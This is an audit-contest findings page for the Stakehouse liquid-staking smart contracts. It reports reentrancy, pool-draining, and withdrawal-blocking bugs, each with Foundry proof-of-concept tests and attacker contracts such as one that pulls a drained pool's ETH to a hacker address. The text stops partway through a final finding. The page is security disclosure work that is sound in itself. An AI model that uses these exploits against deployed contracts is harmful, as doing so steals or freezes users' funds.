Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $90,500 USDC
Total HM: 52
Participants: 92
Period: 7 days
Judge: LSDan
Total Solo HM: 20
Id: 182
League: ETH
Rank: 14/92
Findings: 6
Award: $1,550.97
π Selected for report: 3
π Solo Findings: 0
π Selected for report: 0xdeadbeef0x
Also found by: joestakey
1316.4227 USDC - $1,316.42
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L524
Other impacts:
Impact is also on the Giant Pools that give liquidity to the vaults.
A competitor or malicious actor can cause bad PR for the protocol by causing permanent freeze of user funds at LSD stakehouse.
There are two main bugs that cause the above impact:
withdrawETHForKnot
function in LiquidStakingManager.sol
LiquidStakingManager.sol
for deposited node runner funds.For easier reading and understanding, please follow the bellow full attack flow diagram when reading through the explanation.
βββββββββββββ βββββββββββββ βββββββββββββ βββββββββββββ β β β β β β β β βNode Runnerβ βLSD Managerβ β Vaults β β Users β β β β β β β β β βββββββ¬ββββββ βββββββ¬ββββββ βββββββ¬ββββββ βββββββ¬ββββββ β β β β β Register BLS Key #1 β β β ββββββββββββββββββββββββββββΊβ β β β β β β β Register BLS Key #1 β β β ββββββββββββββββββββββββββββΊβ βDeposit 24 ETH to savETH β β β ββββββββββββββββββββββββββββ€ β β β β β β βDeposit 4 ETH to mevAndFees β β ββββββββββββββββββββββββββββ βWithdrawETHForKnot BLS #1 β β β ββββββββββββββββββββββββββββΊβ β β β Send 4 ETH β β β βββββββββββββββββββββββββββββ€ β β β Reenter stake function β β β ββββββββββββββββββββββββββββΊβGet 28 ETH from vaults β β β βββββββββββββββββββββββββΊβ β β βββββββββββββββββββββββββ β Send 28 ETH β β β β Stake complete. β ββββββββββββββββββββββββββ€ β β βstatus=DEPOSIT_COMPLETEβ β β β β βββββββββββββββββββββββββ β β β βFinished WithdrawETHForKnotβ β β βββββββββββββββββββββββββββββ€ βUsers cannot mint derivatiβes β β ββββββββββββββββββββββββββββ€ β ββββββββββββββββββββ β βUsers cannot burnLPTokens β β βBLS Key #1 banned β β ββββββββββββββββββββββββββββ€ β ββββββββββββββββββββ β βUsers cannot rotateTokens β β β ββββββββββββββββββββββββββββ€ β β β β
Lets assume the following starting point:
Reentrancy in withdrawETHForKnot
:
withdrawETHForKnot
is a function used in LiquidStakingManager
. It is used to refund a node runner if funds are not yet staked and BAN the BLS key.
withdrawETHForKnot
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326
function withdrawETHForKnot(address _recipient, bytes calldata _blsPublicKeyOfKnot) external { .... IOwnableSmartWallet(associatedSmartWallet).rawExecute( _recipient, "", 4 ether ); .... bannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet; }
The associatedSmartWallet will send the node runner 4 ETH (out of 8 currently in balance).
Please note:
LiquidStakingManager
when receiving the 4 ETHbannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet;
is only executed after the reentrancyWe can call any method we need with the following states:
IDataStructures.LifecycleStatus.INITIALS_REGISTERED
The node runner will call the stake
function to stake the deposited funds from the vaults and change the status to IDataStructures.LifecycleStatus.DEPOSIT_COMPLETE
function stake( bytes[] calldata _blsPublicKeyOfKnots, bytes[] calldata _ciphertexts, bytes[] calldata _aesEncryptorKeys, IDataStructures.EIP712Signature[] calldata _encryptionSignatures, bytes32[] calldata _dataRoots ) external { .... // check if BLS public key is registered with liquid staking derivative network and not banned require(isBLSPublicKeyBanned(blsPubKey) == false, "BLS public key is banned or not a part of LSD network"); .... require( getAccountManager().blsPublicKeyToLifecycleStatus(blsPubKey) == IDataStructures.LifecycleStatus.INITIALS_REGISTERED, "Initials not registered" ); .... _assertEtherIsReadyForValidatorStaking(blsPubKey); _stake( _blsPublicKeyOfKnots[i], _ciphertexts[i], _aesEncryptorKeys[i], _encryptionSignatures[i], _dataRoots[i] ); .... }
The stake
function checks
_assertEtherIsReadyForValidatorStaking
_assertEtherIsReadyForValidatorStaking
checks that the node runners smart wallet has more than 4 ETH.
Because our node runner has two BLS keys registered, there is an additional 4 ETH on BLS Key #2 and the conditions will pass.
_assertEtherIsReadyForValidatorStaking
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934
function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view { address associatedSmartWallet = smartWalletOfKnot[blsPubKey]; require(associatedSmartWallet.balance >= 4 ether, "Smart wallet balance must be at least 4 ether"); LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey); require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault"); require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether"); LPToken savETHVaultLP = savETHVault.lpTokenForKnot(blsPubKey); require(address(savETHVaultLP) != address(0), "No funds staked in savETH vault"); require(savETHVaultLP.totalSupply() == 24 ether, "KNOT must have 24 ETH in savETH vault"); }
Since we can pass all checks. _stake
will be called which withdraws all needed funds from the vault and executes a call through the smart wallet to the TransactionRouter
with 32 ETH needed for the stake. The TransactionRouter
will process the funds and stake them. The LifecycleStatus
will be updated to IDataStructures.LifecycleStatus.DEPOSIT_COMPLETE
function _stake( bytes calldata _blsPublicKey, bytes calldata _cipherText, bytes calldata _aesEncryptorKey, IDataStructures.EIP712Signature calldata _encryptionSignature, bytes32 dataRoot ) internal { address smartWallet = smartWalletOfKnot[_blsPublicKey]; // send 24 ether from savETH vault to smart wallet savETHVault.withdrawETHForStaking(smartWallet, 24 ether); // send 4 ether from DAO staking funds vault stakingFundsVault.withdrawETH(smartWallet, 4 ether); // interact with transaction router using smart wallet to deposit 32 ETH IOwnableSmartWallet(smartWallet).execute( address(getTransactionRouter()), abi.encodeWithSelector( ITransactionRouter.registerValidator.selector, smartWallet, _blsPublicKey, _cipherText, _aesEncryptorKey, _encryptionSignature, dataRoot ), 32 ether ); .... }
After _stake
and stake
will finish executing we will finish the Cross-Function Reentrancy.
The protocol has entered the following state for the BLS key #1:
IDataStructures.LifecycleStatus.DEPOSIT_COMPLETE
In such a state where the key is banned, no one can mint derivatives and therefor depositors cannot withdraw rewards/dETH:
mintDerivatives
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L577
function mintDerivatives( bytes[] calldata _blsPublicKeyOfKnots, IDataStructures.ETH2DataReport[] calldata _beaconChainBalanceReports, IDataStructures.EIP712Signature[] calldata _reportSignatures ) external { .... // check if BLS public key is registered and not banned require(isBLSPublicKeyBanned(_blsPublicKeyOfKnots[i]) == false, "BLS public key is banned or not a part of LSD network"); ....
Vault LP Tokens cannot be burned for withdraws because that is not supported in DEPOSIT_COMPLETE state:
function burnLPToken(LPToken _lpToken, uint256 _amount) public nonReentrant returns (uint256) { ... bytes memory blsPublicKeyOfKnot = KnotAssociatedWithLPToken[_lpToken]; IDataStructures.LifecycleStatus validatorStatus = getAccountManager().blsPublicKeyToLifecycleStatus(blsPublicKeyOfKnot); require( validatorStatus == IDataStructures.LifecycleStatus.INITIALS_REGISTERED || validatorStatus == IDataStructures.LifecycleStatus.TOKENS_MINTED, "Cannot burn LP tokens" ); ....
Tokens cannot be rotated to other LP tokens because that is not supported in a DEPOSIT_COMPLETE state
rotateLPTokens
function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public { ... bytes memory blsPublicKeyOfPreviousKnot = KnotAssociatedWithLPToken[_oldLPToken]; ... require( getAccountManager().blsPublicKeyToLifecycleStatus(blsPublicKeyOfPreviousKnot) == IDataStructures.LifecycleStatus.INITIALS_REGISTERED, "Lifecycle status must be one" ); ...
Funds are stuck, they cannot be taken or used. The LifecycleStatus is also stuck, tokens cannot be minted.
The POC will showcase the scenario in the diagram.
Add the following contracts to liquid-staking
folder:
https://github.com/coade-423n4/2022-11-stakehouse/tree/main/contracts/testing/liquid-staking
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import { LiquidStakingManager } from "../../liquid-staking/LiquidStakingManager.sol"; import { TestUtils } from "../../../test/utils/TestUtils.sol"; contract NodeRunner { bytes blsPublicKey1; LiquidStakingManager manager; TestUtils testUtils; constructor(LiquidStakingManager _manager, bytes memory _blsPublicKey1, bytes memory _blsPublicKey2, address _testUtils) payable public { manager = _manager; blsPublicKey1 = _blsPublicKey1; testUtils = TestUtils(_testUtils); //register BLS Key #1 manager.registerBLSPublicKeys{ value: 4 ether }( testUtils.getBytesArrayFromBytes(blsPublicKey1), testUtils.getBytesArrayFromBytes(blsPublicKey1), address(0xdeadbeef) ); // Register BLS Key #2 manager.registerBLSPublicKeys{ value: 4 ether }( testUtils.getBytesArrayFromBytes(_blsPublicKey2), testUtils.getBytesArrayFromBytes(_blsPublicKey2), address(0xdeadbeef) ); } receive() external payable { testUtils.stakeSingleBlsPubKey(blsPublicKey1); } }
Add the following imports to LiquidStakingManager.t.sol
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L12
import { NodeRunner } from "../../contracts/testing/liquid-staking/NodeRunner.sol"; import { IDataStructures } from "@blockswaplab/stakehouse-contract-interfaces/contracts/interfaces/IDataStructures.sol";
Add the following test to LiquidStakingManager.t.sol
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L121
function testLockStakersFunds() public { uint256 startAmount = 8 ether; // Create NodeRunner. Constructor registers two BLS Keys address nodeRunner = address(new NodeRunner{value: startAmount}(manager, blsPubKeyOne, blsPubKeyTwo, address(this))); // Simulate state transitions in lifecycle status to initials registered (value of 1) MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 1); // savETHUser, feesAndMevUser funds used to deposit into validator BLS key #1 address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether); address savETHUser = accountThree; vm.deal(savETHUser, 24 ether); // deposit savETHUser, feesAndMevUser funds for validator #1 depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether); depositIntoDefaultStakingFundsVault(feesAndMevUser, blsPubKeyOne, 4 ether); // withdraw ETH for first BLS key and reenter // This will perform a cross-function reentracy to call stake vm.startPrank(nodeRunner); manager.withdrawETHForKnot(nodeRunner, blsPubKeyOne); // Simulate state transitions in lifecycle status to ETH deposited (value of 2) // In real deployment, when stake is called TransactionRouter.registerValidator is called to change the state to DEPOSIT_COMPLETE MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 2); vm.stopPrank(); // Validate mintDerivatives reverts because of banned public key (,IDataStructures.ETH2DataReport[] memory reports) = getFakeBalanceReport(); (,IDataStructures.EIP712Signature[] memory sigs) = getFakeEIP712Signature(); vm.expectRevert("BLS public key is banned or not a part of LSD network"); manager.mintDerivatives( getBytesArrayFromBytes(blsPubKeyOne), reports, sigs ); // Validate depositor cannot burn LP tokens vm.startPrank(savETHUser); vm.expectRevert("Cannot burn LP tokens"); savETHVault.burnLPTokensByBLS(getBytesArrayFromBytes(blsPubKeyOne), getUint256ArrayFromValues(24 ether)); vm.stopPrank(); }
To run the POC execute: yarn test -m testLockStakersFunds -v
Expected output:
Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests [PASS] testLockStakersFunds() (gas: 1731537) Test result: ok. 1 passed; 0 failed; finished in 8.21ms
To see the full trace, execute: yarn test -m testLockStakersFunds -vvvv
VS Code, Foundry
withdrawETHForKnot
and stake
#0 - c4-judge
2022-11-21T11:34:45Z
dmvt marked the issue as duplicate of #113
#1 - c4-judge
2022-11-24T09:18:36Z
dmvt marked the issue as selected for report
#2 - c4-sponsor
2022-11-28T17:24:48Z
vince0656 marked the issue as sponsor confirmed
#3 - c4-judge
2022-11-30T12:59:16Z
dmvt marked the issue as satisfactory
#4 - C4-Staff
2022-12-21T05:43:14Z
JeeberC4 marked the issue as not a duplicate
#5 - C4-Staff
2022-12-21T05:43:27Z
JeeberC4 marked the issue as primary issue
π Selected for report: Jeiwan
Also found by: 0xdeadbeef0x, 9svR6w, JTJabba, Lambda, Trust, arcoun, banky, bin2chen, bitbopper, c7e7eff, clems4ever, datapunk, fs0c, hihen, imare, immeas, perseverancesuccess, ronnyx2017, satoshipotato, unforgiven, wait
11.192 USDC - $11.19
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L55 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L48
Direct theft of funds - both giant pools can get all ETH funds stolen:
When the giant pools are drained:
Giant pools are used to provide liquidity to vaults that need ETH to generate validators. Users can deposit any amount of ETH in the pool and get LPTokens instead.
The implementation of transferring ETH from the giant pools is in the batchDepositETHForStaking
function that can be called by anyone.
batchDepositETHForStaking
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L29
function batchDepositETHForStaking( address[] calldata _savETHVaults, uint256[] calldata _ETHTransactionAmounts, bytes[][] calldata _blsPublicKeys, uint256[][] calldata _stakeAmounts ) public { uint256 numOfSavETHVaults = _savETHVaults.length; require(numOfSavETHVaults > 0, "Empty arrays"); require(numOfSavETHVaults == _ETHTransactionAmounts.length, "Inconsistent array lengths"); require(numOfSavETHVaults == _blsPublicKeys.length, "Inconsistent array lengths"); require(numOfSavETHVaults == _stakeAmounts.length, "Inconsistent array lengths"); // For every vault specified, supply ETH for at least 1 BLS public key of a LSDN validator for (uint256 i; i < numOfSavETHVaults; ++i) { uint256 transactionAmount = _ETHTransactionAmounts[i]; // As ETH is being deployed to a savETH pool vault, it is no longer idle idleETH -= transactionAmount; SavETHVault savETHPool = SavETHVault(_savETHVaults[i]); require( liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())), "Invalid liquid staking manager" ); // Deposit ETH for staking of BLS key savETHPool.batchDepositETHForStaking{ value: transactionAmount }( _blsPublicKeys[i], _stakeAmounts[i] ); } }
As can be seen above:
_savETHVaults
is a parameter controlled by the caller._ETHTransactionAmounts
is a parameter controlled by the caller.When a hacker sets the following parameters:
_ETHTransactionAmounts
to the balance of the pool_savETHVaults
to a smart contract that contains the following properties:
2.1 A function with the signature batchDepositETHForStaking(bytes[],uint256[])
2.2 The proper liquidStakingManager
address variable of the real manager.The hacker will receive all the ETH funds of the pool.
Example malicious _savETHVaults
contract:
pragma solidity 0.8.13; contract MaliciousStakingFundsVault { address public liquidStakingManager; address public owner; constructor(address _liquidStakingNetworkManager, address _owner) public { liquidStakingManager = _liquidStakingNetworkManager; owner = _owner; } function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {} function pull() public { uint256 bal = address(this).balance; owner.call{value: bal}(''); } }
The foundry POC will use a simple scenario where 100 ETH are deposited into GiantSavETHVaultPool
and hacker drains them all.
(POC for GiantMevAndFeesPool
is VERY similar)
Add the following import to GiantPools.t.sol
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/GiantPools.t.sol#L15
import { MaliciousStakingFundsVault } from "../../contracts/testing/liquid-staking/MaliciousStakingFundsVault.sol";
Add the following test to GiantPools.t.sol
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/GiantPools.t.sol#L117
function testDrainETHGiantPool() public { // fund savETHUser 100 eth uint256 fundsToPool = 100 ether; address savETHUser = accountThree; vm.deal(savETHUser, fundsToPool); // Deposit ETH into giant savETH vm.prank(savETHUser); giantSavETHPool.depositETH{value: fundsToPool}(fundsToPool); assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), fundsToPool); assertEq(address(giantSavETHPool).balance, fundsToPool); // Deploy ETH from giant LP into savETH pool of LSDN instance bytes[][] memory blsKeysForVaults = new bytes[][](1); uint256[][] memory stakeAmountsForVaults = new uint256[][](1); // Create malicious StakingFundsVault address hacker = address(0xdeadbeef); MaliciousStakingFundsVault msfv = new MaliciousStakingFundsVault(address(manager), hacker); // Drain giant pool vm.startPrank(hacker); giantSavETHPool.batchDepositETHForStaking( getAddressArrayFromValues(address(msfv)), getUint256ArrayFromValues(address(giantSavETHPool).balance), blsKeysForVaults, stakeAmountsForVaults ); // Send stolen funds to hacker msfv.pull(); vm.stopPrank(); // Make sure hacker received all funds assertEq(hacker.balance, fundsToPool); }
Add the following MaliciousStakingFundsVault.sol
to the folder https://github.com/code-423n4/2022-11-stakehouse/tree/main/contracts/testing/liquid-staking
:
pragma solidity 0.8.13; contract MaliciousStakingFundsVault { address public liquidStakingManager; address public owner; constructor(address _liquidStakingNetworkManager, address _owner) public { liquidStakingManager = _liquidStakingNetworkManager; owner = _owner; } function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {} function pull() public { uint256 bal = address(this).balance; owner.call{value: bal}(''); } }
To run the POC, execute:
yarn test -m "DrainETHGiantPool" -v
Expected output:
Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests [PASS] testDrainETHGiantPool() (gas: 362338) Test result: ok. 1 passed; 0 failed; finished in 8.15ms
To see the full trace, execute yarn test -m "DrainETHGiantPool" -vvvv
VS Code, Foundry
In current implementation, the single source of truth is the LSDNFactory
as the giant pool was initialized with the factory. The factory should be aware of all the vaults as it is aware of all the liquid staking manager
. After the creation of liquid staking manager
, the vaults can be retrieved and store in a map isVault[vaultAddress] = true
In batchDepositETHForStaking
Instead of checking if the liquid staking manager
is created by the LSDNFactory
, check that the vault
is created by the factory.
#0 - c4-judge
2022-11-20T15:00:59Z
dmvt marked the issue as duplicate of #36
#1 - c4-judge
2022-11-29T15:27:15Z
dmvt marked the issue as satisfactory
#2 - C4-Staff
2022-12-21T05:40:16Z
JeeberC4 marked the issue as duplicate of #36
#3 - liveactionllama
2022-12-22T08:50:16Z
Duplicate of #251
22.9504 USDC - $22.95
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L69 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L66 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L96
A hacker can prevent users from withdrawing dETH or LPTokens in giant pools.
This bug causes a revert in:
WithdrawLP
- GiantMevAndFeesPool
WithdrawLP
- GiantSavETHVaultPool
WithdrawDETH
- GiantSavETHVaultPool
A hacker can prevent a user from receiving dETH when users are eligible and guaranteed to receive it through their stake.
This causes a liquidity crunch as the only funds that are possible to withdraw are ETH. There is not enough ETH in the giant pools to facilitate a large withdraw as ETH is staked for LPTokens and dETH.
The giant pools will become insolvent to returning ETH, dETH or vault LPTokens.
Both WithdrawLP
and WithdrawDETH
act in a similar way:
Example of WithdrawDETH
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L66
function withdrawDETH( address[] calldata _savETHVaults, LPToken[][] calldata _lpTokens, uint256[][] calldata _amounts ) external { uint256 numOfVaults = _savETHVaults.length; require(numOfVaults > 0, "Empty arrays"); require(numOfVaults == _lpTokens.length, "Inconsistent arrays"); require(numOfVaults == _amounts.length, "Inconsistent arrays"); // Firstly capture current dETH balance and see how much has been deposited after the loop uint256 dETHReceivedFromAllSavETHVaults = getDETH().balanceOf(address(this)); for (uint256 i; i < numOfVaults; ++i) { SavETHVault vault = SavETHVault(_savETHVaults[i]); // Simultaneously check the status of LP tokens held by the vault and the giant LP balance of the user for (uint256 j; j < _lpTokens[i].length; ++j) { LPToken token = _lpTokens[i][j]; uint256 amount = _amounts[i][j]; // Check the user has enough giant LP to burn and that the pool has enough savETH vault LP _assertUserHasEnoughGiantLPToClaimVaultLP(token, amount); require(vault.isDETHReadyForWithdrawal(address(token)), "dETH is not ready for withdrawal"); // Giant LP is burned 1:1 with LPs from sub-networks require(lpTokenETH.balanceOf(msg.sender) >= amount, "User does not own enough LP"); // Burn giant LP from user before sending them dETH lpTokenETH.burn(msg.sender, amount); emit LPBurnedForDETH(address(token), msg.sender, amount); } // Ask vault.burnLPTokens(_lpTokens[i], _amounts[i]); } // Calculate how much dETH has been received from burning dETHReceivedFromAllSavETHVaults = getDETH().balanceOf(address(this)) - dETHReceivedFromAllSavETHVaults; // Send giant LP holder dETH owed getDETH().transfer(msg.sender, dETHReceivedFromAllSavETHVaults); }
The bug is in _assertUserHasEnoughGiantLPToClaimVaultLP
in the last require that checks that a day has passed since the user has interacted with Giant LP Token:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L93
function _assertUserHasEnoughGiantLPToClaimVaultLP(LPToken _token, uint256 _amount) internal view { require(_amount >= MIN_STAKING_AMOUNT, "Invalid amount"); require(_token.balanceOf(address(this)) >= _amount, "Pool does not own specified LP"); require(lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp, "Too new"); }
The condition lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp
can be set to fail by the hacker. The hacker transfers 0 lpTokenETH
tokens to msg.sender
. This transfer will update the lastInteractedTimestamp
to now.
The above can be done once a day or on-demand by front-running the withdraw commands.
_afterTokenTransfer
in GiantLP.sol
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantLP.sol#L43
function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override { lastInteractedTimestamp[_from] = block.timestamp; lastInteractedTimestamp[_to] = block.timestamp; if (address(transferHookProcessor) != address(0)) ITransferHookProcessor(transferHookProcessor).afterTokenTransfer(_from, _to, _amount); }
The POC will show how a hacker prevents a user from receiving dETH although they are eligible to receive it.
Add the following test to GiantPools.t.sol
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/GiantPools.t.sol#L118
function testPreventWithdraw() public { // Set up users and ETH address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether); address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether); address savETHUser = accountThree; vm.deal(savETHUser, 24 ether); // Register BLS key registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour); // Deposit 24 ETH into giant savETH vm.prank(savETHUser); giantSavETHPool.depositETH{value: 24 ether}(24 ether); assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether); assertEq(address(giantSavETHPool).balance, 24 ether); // Deploy 24 ETH from giant LP into savETH pool of LSDN instance bytes[][] memory blsKeysForVaults = new bytes[][](1); blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne); uint256[][] memory stakeAmountsForVaults = new uint256[][](1); stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether); giantSavETHPool.batchDepositETHForStaking( getAddressArrayFromValues(address(manager.savETHVault())), getUint256ArrayFromValues(24 ether), blsKeysForVaults, stakeAmountsForVaults ); assertEq(address(manager.savETHVault()).balance, 24 ether); // Deposit 4 ETH into giant fees and mev vm.startPrank(feesAndMevUserOne); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); vm.stopPrank(); assertEq(address(giantFeesAndMevPool).balance, 4 ether); stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether); giantFeesAndMevPool.batchDepositETHForStaking( getAddressArrayFromValues(address(manager.stakingFundsVault())), getUint256ArrayFromValues(4 ether), blsKeysForVaults, stakeAmountsForVaults ); // Ensure we can stake and mint derivatives stakeAndMintDerivativesSingleKey(blsPubKeyOne); IERC20 dETHToken = savETHVault.dETHToken(); vm.startPrank(accountFive); dETHToken.transfer(address(savETHVault.saveETHRegistry()), 24 ether); vm.stopPrank(); LPToken[] memory tokens = new LPToken[](1); tokens[0] = savETHVault.lpTokenForKnot(blsPubKeyOne); LPToken[][] memory allTokens = new LPToken[][](1); allTokens[0] = tokens; stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether); // User will not have any dETH to start assertEq(dETHToken.balanceOf(savETHUser), 0); // Warp ahead -> savETHUser eligible to dETH vm.warp(block.timestamp + 2 days); // Send 0 tokens to savETHUser so he cannot withdrawDETH address hacker = address(0xdeadbeef); vm.startPrank(hacker); giantSavETHPool.lpTokenETH().transfer(savETHUser, 0); vm.stopPrank(); address[] memory addresses = getAddressArrayFromValues(address(manager.savETHVault())); vm.startPrank(savETHUser); // Validate withdrawDETH will revert vm.expectRevert("Too new"); giantSavETHPool.withdrawDETH(addresses, allTokens, stakeAmountsForVaults); vm.stopPrank(); }
To run the POC execute:
yarn test -m "PreventWithdraw" -v
Expected output:
Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests [PASS] testPreventWithdraw() (gas: 3132637) Test result: ok. 1 passed; 0 failed; finished in 9.25ms
To run with full trace, execute: yarn test -m "PreventWithdraw" -vvvv
VS Code, Foundry
Make sure transfers in the GiantLP are only for funds larger than (0.001 ETH), this will make the exploitation expensive.
#0 - c4-judge
2022-11-20T15:08:02Z
dmvt marked the issue as primary issue
#1 - c4-sponsor
2022-11-28T18:05:11Z
vince0656 marked the issue as sponsor confirmed
#2 - c4-judge
2022-11-29T22:49:07Z
dmvt marked the issue as satisfactory
#3 - c4-judge
2022-11-29T22:49:11Z
dmvt marked the issue as selected for report
π Selected for report: 0xdeadbeef0x
115.1607 USDC - $115.16
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126
Both giant pools are affected:
The giant pools have a bringUnusedETHBackIntoGiantPool
function that calls the vaults to send back any unused ETH.
Currently, any call to this function will revert.
Unused ETH will not be sent to the giant pools and will stay in the vaults.
This causes an insolvency issue when many users want to withdraw ETH and there is not enough liquidity inside the giant pools.
bringUnusedETHBackIntoGiantPool
calls the vaults to receive ETH:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137
function bringUnusedETHBackIntoGiantPool( address[] calldata _savETHVaults, LPToken[][] calldata _lpTokens, uint256[][] calldata _amounts ) external { uint256 numOfVaults = _savETHVaults.length; require(numOfVaults > 0, "Empty arrays"); require(numOfVaults == _lpTokens.length, "Inconsistent arrays"); require(numOfVaults == _amounts.length, "Inconsistent arrays"); for (uint256 i; i < numOfVaults; ++i) { SavETHVault vault = SavETHVault(_savETHVaults[i]); for (uint256 j; j < _lpTokens[i].length; ++j) { require( vault.isDETHReadyForWithdrawal(address(_lpTokens[i][j])) == false, "ETH is either staked or derivatives minted" ); } vault.burnLPTokens(_lpTokens[i], _amounts[i]); } }
the vaults go through a process of burning the _lpTokens
and sending the caller giant pool ETH.
function burnLPToken(LPToken _lpToken, uint256 _amount) public nonReentrant returns (uint256) { /// ..... (bool result,) = msg.sender.call{value: _amount}(""); // ..... }
Giant pools do not have a fallback
or receive
function. ETH cannot be sent to them
additionally, there is no accounting of idleETH
, which should be increased with the received ETH in order to facilitate withdraws
VS Code
fallback
or receive
function to the pools.idleETH
should be increased with the received ETH#0 - c4-judge
2022-11-20T16:30:21Z
dmvt marked the issue as primary issue
#1 - c4-sponsor
2022-11-28T18:00:32Z
vince0656 marked the issue as sponsor confirmed
#2 - c4-judge
2022-11-30T11:50:27Z
dmvt marked the issue as satisfactory
#3 - c4-judge
2022-11-30T11:54:10Z
dmvt marked the issue as selected for report
π Selected for report: ladboy233
Also found by: 0xdeadbeef0x, SaeedAlipoor01988, bin2chen, immeas, minhtrng
33.2194 USDC - $33.22
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L83 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934
The following bug impact will make a node runner unable to stake the funds from the vaults although there are enough needed for the stake.
The issue is with an improper check in the base contract of the vaults ETHPoolLPFactory.
When rotateLPTokens
is called, there is a condition require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");
.
rotateLPTokens
:
